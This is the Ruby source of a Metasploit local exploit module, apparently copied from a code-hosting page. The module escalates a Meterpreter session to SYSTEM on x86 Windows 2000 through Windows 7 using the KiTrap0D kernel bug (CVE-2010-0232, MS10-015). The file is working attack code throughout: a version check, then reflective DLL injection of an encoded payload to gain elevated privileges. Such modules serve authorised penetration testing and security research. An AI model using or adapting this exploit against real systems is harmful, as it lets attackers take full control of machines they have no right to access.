84 lines
2.7 KiB
Ruby
84 lines
2.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = GreatRanking
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include Msf::Post::File
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include Msf::Post::Windows::Priv
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include Msf::Post::Windows::Process
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include Msf::Post::Windows::ReflectiveDLLInjection
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Windows SYSTEM Escalation via KiTrap0D',
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'Description' => %q{
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This module will create a new session with SYSTEM privileges via the
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KiTrap0D exploit by Tavis Ormandy. If the session in use is already
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elevated then the exploit will not run. The module relies on kitrap0d.x86.dll,
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and is not supported on x64 editions of Windows.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Tavis Ormandy', # Original resesarcher and exploit creator
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'HD Moore', # Port of Tavis' code to meterpreter module
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'Pusscat', # Port of Tavis' code to meterpreter module
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'OJ Reeves' # Port of meterpreter code to a windows local exploit
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],
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'Platform' => [ 'win' ],
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'SessionTypes' => [ 'meterpreter' ],
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'Targets' => [
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[ 'Windows 2K SP4 - Windows 7 (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ]
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],
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'DefaultTarget' => 0,
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'References' => [
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[ 'CVE', '2010-0232' ],
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[ 'OSVDB', '61854' ],
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[ 'MSB', 'MS10-015' ],
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[ 'EDB', '11199' ],
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[ 'URL', 'https://seclists.org/fulldisclosure/2010/Jan/341' ]
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],
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'DisclosureDate' => '2010-01-19'
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)
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)
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end
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def check
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# Validate platform architecture
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if sysinfo['Architecture'] == ARCH_X64
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return Exploit::CheckCode::Safe
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end
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# Validate OS version
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version = get_version_info
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unless version.build_number.between?(Msf::WindowsVersion::Win2000, Msf::WindowsVersion::Win7_SP1)
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return Exploit::CheckCode::Safe
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end
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return Exploit::CheckCode::Detected
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end
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def exploit
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if is_system?
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fail_with(Failure::None, 'Session is already elevated')
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end
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if check == Exploit::CheckCode::Safe
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fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
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end
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print_status('Reflectively injecting payload and triggering the bug...')
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encoded_payload = payload.encoded
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execute_dll(
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::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2010-0232', 'kitrap0d.x86.dll'),
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encoded_payload
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)
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print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
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end
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end
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